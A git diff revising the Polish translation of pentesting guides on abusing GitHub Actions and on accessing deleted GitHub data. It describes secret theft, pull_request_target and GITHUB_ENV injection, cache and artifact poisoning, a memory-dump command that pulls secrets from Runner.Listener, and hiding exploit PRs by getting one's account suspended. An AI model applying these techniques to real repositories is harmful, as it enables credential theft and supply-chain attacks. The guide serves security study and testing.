-W przypadku, gdy środowisko może być **dostępne ze wszystkich gałęzi**, **nie jest chronione** i możesz łatwo uzyskać dostęp do sekretów w środowisku. Zauważ, że możesz znaleźć repozytoria, w których **wszystkie gałęzie są chronione** (poprzez określenie ich nazw lub użycie `*`), w tym scenariuszu, **znajdź gałąź, w której możesz przesyłać kod** i możesz **wyeksportować** sekrety, tworząc nową akcję github (lub modyfikując jedną).
+W przypadku, gdy środowisko może być **dostępne ze wszystkich gałęzi**, **nie jest chronione** i możesz łatwo uzyskać dostęp do sekretów wewnątrz środowiska. Zauważ, że możesz znaleźć repozytoria, w których **wszystkie gałęzie są chronione** (poprzez określenie ich nazw lub użycie `*`), w tym scenariuszu, **znajdź gałąź, w której możesz przesyłać kod** i możesz **wyeksportować** sekrety, tworząc nową github action (lub modyfikując jedną).
-Zauważ, że możesz napotkać przypadek brzegowy, w którym **wszystkie gałęzie są chronione** (poprzez symbol wieloznaczny `*`), określono **kto może przesyłać kod do gałęzi** (_możesz to określić w ochronie gałęzi_), a **twój użytkownik nie ma pozwolenia**. Możesz nadal uruchomić niestandardową akcję github, ponieważ możesz utworzyć gałąź i użyć wyzwalacza przesyłania nad nią. **Ochrona gałęzi zezwala na przesyłanie do nowej gałęzi, więc akcja github zostanie wyzwolona**.
+Zauważ, że możesz napotkać przypadek brzegowy, w którym **wszystkie gałęzie są chronione** (poprzez symbol wieloznaczny `*`), określono **kto może przesyłać kod do gałęzi** (_możesz to określić w ochronie gałęzi_), a **twój użytkownik nie ma pozwolenia**. Możesz nadal uruchomić niestandardową github action, ponieważ możesz utworzyć gałąź i użyć wyzwalacza przesyłania nad nią. **Ochrona gałęzi zezwala na przesyłanie do nowej gałęzi, więc github action zostanie wyzwolona**.
```yaml
push: # Run it when a push is made to a branch
branches:
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index e231ee5be..4dc2e7c6a 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,20 +1,20 @@
-# Abusing Github Actions
+# Wykorzystywanie Github Actions
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
Na tej stronie znajdziesz:
-- **podsumowanie wszystkich skutków** ataku, gdy napastnik uzyska dostęp do Github Action
+- **Podsumowanie wszystkich skutków** dostępu atakującego do Github Action
- Różne sposoby na **uzyskanie dostępu do akcji**:
- Posiadanie **uprawnień** do tworzenia akcji
- Wykorzystywanie wyzwalaczy związanych z **pull request**
- Wykorzystywanie **innych technik zewnętrznego dostępu**
- **Pivoting** z już skompromitowanego repozytorium
-- Na koniec sekcja o **technikach poeksploatacyjnych do wykorzystywania akcji od wewnątrz** (powodujących wspomniane skutki)
+- Na koniec sekcja o **technikach post-exploitation do wykorzystywania akcji od wewnątrz** (powodując wspomniane skutki)
-## Impacts Summary
+## Podsumowanie skutków
Aby uzyskać wprowadzenie do [**Github Actions sprawdź podstawowe informacje**](../basic-github-information.md#github-actions).
@@ -23,7 +23,7 @@ Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w ramach **repozytori
- **Kraść sekrety** zamontowane w pipeline i **wykorzystywać uprawnienia pipeline** do uzyskania nieautoryzowanego dostępu do zewnętrznych platform, takich jak AWS i GCP.
- **Kompromitować wdrożenia** i inne **artefakty**.
- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić końcowy produkt, umożliwiając atak na łańcuch dostaw.
-- **Wykonywać kod w niestandardowych pracownikach** w celu wykorzystania mocy obliczeniowej i pivotowania do innych systemów.
+- **Wykonywać kod w niestandardowych pracownikach** w celu wykorzystania mocy obliczeniowej i przejścia do innych systemów.
- **Nadpisywać kod repozytorium**, w zależności od uprawnień związanych z `GITHUB_TOKEN`.
## GITHUB_TOKEN
@@ -32,7 +32,7 @@ Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.toke
-Ten token jest tym samym, który **aplikacja Github będzie używać**, więc może uzyskać dostęp do tych samych punktów końcowych: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Ten token jest tym samym, którego użyje **Aplikacja Github**, więc może uzyskać dostęp do tych samych punktów końcowych: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github powinien wydać [**przepływ**](https://github.com/github/roadmap/issues/74), który **pozwala na dostęp między repozytoriami** w GitHub, aby repozytorium mogło uzyskać dostęp do innych wewnętrznych repozytoriów za pomocą `GITHUB_TOKEN`.
@@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!OSTRZEŻENIE]
-> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.
+> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci większe uprawnienia do repozytorium i organizacji.
@@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Uzyskaj powłokę odwrotną z sekretami
+Uzyskaj powłokę odwrotną z tajemnicami
```yaml
name: revshell
on:
@@ -143,7 +143,7 @@ Możliwe jest sprawdzenie uprawnień nadanych tokenowi Github w repozytoriach in
> [!NOTE]
> To byłby najłatwiejszy sposób na kompromitację akcji Github, ponieważ ten przypadek zakłada, że masz dostęp do **utworzenia nowego repozytorium w organizacji** lub masz **uprawnienia do zapisu w repozytorium**.
>
-> Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić [techniki po eksploatacji](./#post-exploitation-techniques-from-inside-an-action).
+> Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić [techniki post eksploatacji](./#post-exploitation-techniques-from-inside-an-action).
### Wykonanie z Utworzenia Repozytorium
@@ -153,7 +153,7 @@ W przypadku, gdy członkowie organizacji mogą **tworzyć nowe repozytoria** i m
Jeśli możesz **utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną akcję Github**, możesz ją **zmodyfikować**, **załadować** zawartość, a następnie **wykonać tę akcję z nowej gałęzi**. W ten sposób możesz **wyeksfiltrować sekrety na poziomie repozytorium i organizacji** (ale musisz wiedzieć, jak się nazywają).
-Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie**, gdy **zostanie utworzony PR** lub gdy **zostanie przesłany jakiś kod** (w zależności od tego, jak głośny chcesz być):
+Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie**, gdy **PR zostanie utworzony** lub gdy **jakikolwiek kod zostanie przesłany** (w zależności od tego, jak głośny chcesz być):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -167,32 +167,32 @@ branches:
```
---
-## Forkowane Wykonanie
+## Wykonanie z Forka
> [!NOTE]
-> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie Github Action z innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.
+> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie akcji Github innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.
### `pull_request`
-Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrzymany zostanie pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **pierwszy raz**, gdy **współpracujesz**, niektórzy **utrzymujący** będą musieli **zatwierdzić** **wykonanie** workflow:
+Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrzymany zostanie pull request z pewnymi wyjątkami: domyślnie, jeśli to **pierwszy raz**, gdy **współpracujesz**, niektórzy **utrzymujący** będą musieli **zatwierdzić** **wykonanie** workflow:
> [!NOTE]
-> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/ortografii**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**.
+> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/typówki**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**.
>
-> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunięcie jego konta.~~
+> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunął swoje konto.~~
Ponadto, domyślnie **zapobiega uprawnieniom do zapisu** i **dostępowi do sekretów** w docelowym repozytorium, jak wspomniano w [**dokumentacji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera**, gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
+> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera** gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
-Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
+Atakujący mógłby zmodyfikować definicję akcji Github, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
> [!CAUTION]
-> **Tak, jeśli atakujący zmieni w PR github action, która zostanie wyzwolona, jego Github Action będzie używana, a nie ta z repozytorium źródłowego!**
+> **Tak, jeśli atakujący zmieni w PR akcję github, która zostanie wyzwolona, jego akcja Github będzie używana, a nie ta z repozytorium źródłowego!**
-Ponieważ atakujący również kontroluje kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**.
+Ponieważ atakujący kontroluje również kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**.
### **`pull_request_target`**
@@ -217,37 +217,37 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, according to the docs: Workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał**.
+Ponadto, zgodnie z dokumentacją: Workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał**.
-Tego rodzaju workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może być **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**znaleźć w tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy z nich polega na tym, że **`workflow_run`** wyzwolony workflow pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\
+Tego rodzaju workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może być **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**znaleźć w tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy z nich polega na tym, że **workflow_run** wyzwolony przez workflow pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\
Drugi polega na **przekazywaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i używaniu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**.
### `workflow_call`
TODO
-TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forka PR
+TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forkowanego PR
## Wykorzystywanie Wykonania Forków
-Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, by workflow githuba został uruchomiony, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:
+Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, że workflow githuba zostanie wykonany, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:
-### Wykonanie niezaufanego checkoutu
+### Niezaufane wykonanie checkout
W przypadku **`pull_request`** workflow będzie wykonywany w **kontekście PR** (więc wykona **złośliwy kod PR**), ale ktoś musi **najpierw to autoryzować** i będzie działał z pewnymi [ograniczeniami](./#pull_request).
W przypadku workflow używającego **`pull_request_target` lub `workflow_run`**, który zależy od workflow, który może być wyzwolony z **`pull_request_target` lub `pull_request`**, kod z oryginalnego repozytorium zostanie wykonany, więc **atakujący nie może kontrolować wykonanego kodu**.
-> [!CAUTION]
-> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):
+> [!OSTRZEŻENIE]
+> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie pobierany jest kod PR):
-
# INSECURE. Provided as an example only.
+
# NIEBEZPIECZNE. Podano tylko jako przykład.
on:
pull_request_target
jobs:
build:
-name: Build and test
+name: Buduj i testuj
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
@@ -266,17 +266,17 @@ arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
-Thank you!
+Dziękuję!
Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budujące i odwołane **pakiety są kontrolowane przez autora PR**.
-> [!WARNING]
-> Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań, aby były wykonywane bezpiecznie, nawet jeśli akcja jest skonfigurowana niebezpiecznie (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
+> [!OSTRZEŻENIE]
+> Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań do wykonywania w sposób bezpieczny, nawet jeśli akcja jest skonfigurowana w sposób niebezpieczny (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
### Wstrzyknięcia Skryptów w Kontekście
-Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonania dowolnego kodu:**
+Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonywania dowolnego kodu:**
{{#ref}}
gh-actions-context-script-injections.md
@@ -286,17 +286,17 @@ gh-actions-context-script-injections.md
Z dokumentacji: Możesz udostępnić **zmienną środowiskową dla wszystkich kolejnych kroków** w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją w pliku środowiskowym **`GITHUB_ENV`**.
-Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne env, które mogłyby wykonać kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**.
+Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne środowiskowe, które mogłyby wykonać kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**.
-Na przykład ([**to**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**to**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej env **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować:
+Na przykład ([**to**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**to**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej środowiskowej **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować:
-### Podatne Akcje Githuba Trzeciej Strony
+### Podatne Akcje Githuba Trzecich Stron
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-Jak wspomniano w [**tym poście na blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta Akcja Githuba pozwala na dostęp do artefaktów z różnych workflow, a nawet repozytoriów.
+Jak wspomniano w [**tym poście na blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta Akcja Githuba umożliwia dostęp do artefaktów z różnych workflow, a nawet repozytoriów.
Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artefakt jest wyodrębniany w bieżącym katalogu i może nadpisywać pliki, które mogą być później używane lub nawet wykonywane w workflow. Dlatego, jeśli artefakt jest podatny, atakujący mógłby to wykorzystać, aby skompromitować inne workflow ufające artefaktowi.
@@ -342,11 +342,11 @@ path: ./script.py
## Inny dostęp zewnętrzny
-### Przejęcie usuniętego repozytorium namespace
+### Przejęcie usuniętego repozytorium przestrzeni nazw
Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało **mniej niż 100 gwiazdek przed zmianą nazwy**, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie na utworzenie **repozytorium o tej samej nazwie** co usunięte.
-> [!CAUTION]
+> [!OSTRZEŻENIE]
> Jeśli akcja korzysta z repozytorium z nieistniejącego konta, nadal istnieje możliwość, że atakujący może utworzyć to konto i skompromitować akcję.
Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytkownika**, atakujący będzie mógł je przejąć. Oto bardziej szczegółowe wyjaśnienie: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
@@ -355,12 +355,12 @@ Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytk
## Przełączanie repozytoriów
-> [!NOTE]
+> [!NOTATKA]
> W tej sekcji omówimy techniki, które pozwolą na **przełączenie z jednego repozytorium do drugiego**, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).
### Zatrucie pamięci podręcznej
-Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprmituje** **pakiet**, który następnie jest przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprmitować** ten workflow.
+Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprumuje** **pakiet**, który jest następnie przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprumować** ten workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
### Zatrucie artefaktów
-Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**. Jeśli atakujący zdoła **skomprmitować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprmitować inne workflow**:
+Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprumować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprumować inne workflow**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -376,7 +376,7 @@ gh-actions-artifact-poisoning.md
---
-## Po eksploatacji z akcji
+## Post eksploatacja z akcji
### Uzyskiwanie dostępu do AWS i GCP za pomocą OIDC
@@ -392,7 +392,7 @@ Sprawdź następujące strony:
### Uzyskiwanie dostępu do sekretów
-Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak możesz uzyskać dostęp do sekretów:
+Jeśli wstrzykujesz treść do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów:
- Jeśli sekret lub token jest ustawiony jako **zmienna środowiskowa**, można go bezpośrednio uzyskać przez środowisko, używając **`printenv`**.
@@ -468,23 +468,23 @@ key: ${{ secrets.PUBLISH_KEY }}
Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze nie-Github** jest wyszukiwanie **`runs-on: self-hosted`** w konfiguracji yaml akcji Github.
-**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej.
+**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (vulnerable endpoints in the network? metadata service?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej.
-W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie, zrzucając jego pamięć:
+W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie poprzez zrzut jego pamięci:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-Sprawdź [**ten post w celu uzyskania więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Sprawdź [**ten post, aby uzyskać więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Rejestr obrazów Docker w Github
-Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker w Github**.\
-Przykład można znaleźć w następującym rozwijanym:
+Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker wewnątrz Github**.\
+Przykład można znaleźć w poniższym rozwijanym:
-Github Action Build & Push Docker Image
+Akcja Github Buduj & Wypchnij obraz Docker
```yaml
[...]
@@ -515,14 +515,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
-Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.
+Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany na **`ghcr.io`**.
Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą tokena dostępu osobistego:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Następnie użytkownik mógłby wyszukiwać **wyciekłe sekrety w warstwach obrazu Docker:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -530,13 +530,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### Wrażliwe informacje w logach Github Actions
-Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich pokazywania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany tajną wartością nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich wyświetlania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Zacieranie śladów
-(Teknika z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot akcji. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo sprawić, by twoje **konto GitHub zostało zawieszone, albo oznaczyć swoje konto**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR z exploitami).
+(Teknik z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo uzyskać **zawieszenie swojego konta GitHub, albo oznaczenie swojego konta**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR związane z eksploatacją).
-Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swój exploit niewidocznym na githubie.
+Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swoją eksploatację niewidoczną na githubie.
> [!WARNING]
> Jedynym sposobem, aby organizacja dowiedziała się, że została celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostałby usunięty.
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index 7b01f94fd..e6fea6bbd 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1 +1 @@
-# Gh Actions - Zatrucie Artefaktów
+# Gh Actions - Zatrucie artefaktów
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 5a94e1e31..8a9407305 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1 +1 @@
-# Gh Actions - Wstrzykiwanie skryptów kontekstowych
+# Gh Actions - Wstrzyknięcia skryptów kontekstowych
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index 1f7aa75f8..f5b8bade0 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,46 +1,46 @@
-# Accessible Deleted Data in Github
+# Dostępne usunięte dane w Github
{{#include ../../banners/hacktricks-training.md}}
Sposoby dostępu do danych z Github, które rzekomo zostały usunięte, zostały [**zgłoszone w tym wpisie na blogu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-## Accessing Deleted Fork Data
+## Dostęp do usuniętych danych forków
1. Forkujesz publiczne repozytorium
-2. Zatwierdzasz kod do swojego forka
-3. Usuwasz swojego forka
+2. Wprowadzasz zmiany w swoim forku
+3. Usuwasz swój fork
> [!CAUTION]
-> Dane zatwierdzone w usuniętym forku są nadal dostępne.
+> Dane wprowadzone w usuniętym forku są nadal dostępne.
-## Accessing Deleted Repo Data
+## Dostęp do usuniętych danych repozytoriów
1. Masz publiczne repozytorium na GitHubie.
2. Użytkownik forkował twoje repozytorium.
-3. Zatwierdzasz dane po tym, jak oni je forkowali (i nigdy nie synchronizują swojego forka z twoimi aktualizacjami).
+3. Wprowadzasz dane po tym, jak oni je forkowali (i nigdy nie synchronizują swojego forka z twoimi aktualizacjami).
4. Usuwasz całe repozytorium.
> [!CAUTION]
> Nawet jeśli usunąłeś swoje repozytorium, wszystkie zmiany wprowadzone do niego są nadal dostępne przez forki.
-## Accessing Private Repo Data
+## Dostęp do danych prywatnych repozytoriów
